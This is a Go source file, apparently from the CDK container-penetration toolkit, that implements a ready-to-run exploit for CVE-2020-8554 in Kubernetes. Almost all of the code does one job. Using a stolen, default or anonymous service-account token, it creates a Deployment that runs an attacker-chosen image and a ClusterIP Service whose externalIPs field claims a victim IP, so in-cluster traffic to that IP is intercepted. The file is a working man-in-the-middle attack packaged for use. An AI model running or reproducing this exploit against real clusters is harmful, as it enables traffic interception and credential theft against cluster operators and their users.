/
k8s_clusterip_mitm.go
195 lines (171 loc) 路 5.04 KB
/
k8s_clusterip_mitm.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
// +build !no_k8s_clusterip_mitm
/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package exploit
import (
"fmt"
"github.com/cdk-team/CDK/conf"
"github.com/cdk-team/CDK/pkg/cli"
"github.com/cdk-team/CDK/pkg/plugin"
"github.com/cdk-team/CDK/pkg/tool/kubectl"
"log"
"math/rand"
"strings"
"time"
)
var K8sDeploymentsAPI = "/apis/apps/v1/namespaces/default/deployments"
var K8sMitmPayloadDeploy = `{
"apiVersion": "apps/v1",
"kind": "Deployment",
"metadata": {
"name": "mitm-payload-deploy"
},
"spec": {
"replicas": 1,
"selector": {
"matchLabels": {
"app": "mitm-payload-deploy"
}
},
"template": {
"metadata": {
"labels": {
"app": "mitm-payload-deploy"
}
},
"spec": {
"containers": [
{
"image": "${image}",
"name": "mitm-payload-deploy",
"ports": [
{
"containerPort": ${port},
"name": "tcp"
}
]
}
]
}
}
}
}`
var K8sServicesApi = "/api/v1/namespaces/default/services"
var K8sMitmPayloadSvc = `{
"apiVersion": "v1",
"kind": "Service",
"metadata": {
"name": "mitm-externalip"
},
"spec": {
"externalIPs": [
"${ip}"
],
"ports": [
{
"name": "tcp",
"port": ${port},
"targetPort": ${port}
}
],
"selector": {
"app": "mitm-payload-deploy"
},
"type": "ClusterIP"
}
}`
func getK8sMitmPayloadDeployJson(image string, port string) string {
K8sMitmPayloadDeploy = strings.Replace(K8sMitmPayloadDeploy, "${image}", image, -1)
K8sMitmPayloadDeploy = strings.Replace(K8sMitmPayloadDeploy, "${port}", port, -1)
return K8sMitmPayloadDeploy
}
func getK8sMitmPayloadSvcJson(ip string, port string) string {
K8sMitmPayloadSvc = strings.Replace(K8sMitmPayloadSvc, "${ip}", ip, -1)
K8sMitmPayloadSvc = strings.Replace(K8sMitmPayloadSvc, "${port}", port, -1)
return K8sMitmPayloadSvc
}
// plugin interface
type K8sMitmClusteripS struct{}
func (p K8sMitmClusteripS) Desc() string {
return "Exploit CVE-2020-8554: Man in the middle using ExternalIPs, usage: cdk run k8s-mitm-clusterip (default|anonymous|<service-account-token-path>) <image> <ip> <port>"
}
func (p K8sMitmClusteripS) Run() bool {
args := cli.Args["<args>"].([]string)
if len(args) != 4 {
log.Println("invalid input args.")
log.Fatal(p.Desc())
}
var TokenPath = ""
var AnonymousFlag = false
token := args[0]
image := args[1]
targetIP := args[2]
targetPort := args[3]
switch token {
case "default":
TokenPath = conf.K8sSATokenDefaultPath
case "anonymous":
TokenPath = ""
AnonymousFlag = true
default:
TokenPath = args[0]
}
// get api-server connection conf in ENV
log.Println("getting K8s api-server API addr.")
addr, err := kubectl.ApiServerAddr()
if err != nil {
fmt.Println(err)
return false
}
fmt.Println("\tFind K8s api-server in ENV:", addr)
// step1. create Mitm Deployments
optsDeploy := kubectl.K8sRequestOption{
TokenPath: TokenPath,
Server: addr, // default
Api: K8sDeploymentsAPI,
Method: "POST",
PostData: "",
Anonymous: AnonymousFlag,
}
log.Printf("trying to create man in the middle deploy containers with image:%s and port:%s", image, targetPort)
optsDeploy.PostData = getK8sMitmPayloadDeployJson(image, targetPort)
resp, err := kubectl.ServerAccountRequest(optsDeploy)
if err != nil {
fmt.Println(err)
}
log.Println("api-server response:")
fmt.Println(resp)
// step2. create Mitm Services of ExternalIPs
optsSvc := kubectl.K8sRequestOption{
TokenPath: TokenPath,
Server: addr, // default
Api: K8sServicesApi,
Method: "POST",
PostData: "",
Anonymous: AnonymousFlag,
}
log.Printf("trying to create man in the middle ExternalIPs svc ip: %s and port: %s", targetIP, targetPort)
optsSvc.PostData = getK8sMitmPayloadSvcJson(targetIP, targetPort)
respSvc, err := kubectl.ServerAccountRequest(optsSvc)
if err != nil {
fmt.Println(err)
}
log.Println("api-server response:")
fmt.Println(respSvc)
return true
}
func init() {
exploit := K8sMitmClusteripS{}
plugin.RegisterExploit("k8s-mitm-clusterip", exploit)
rand.Seed(time.Now().UnixNano())
}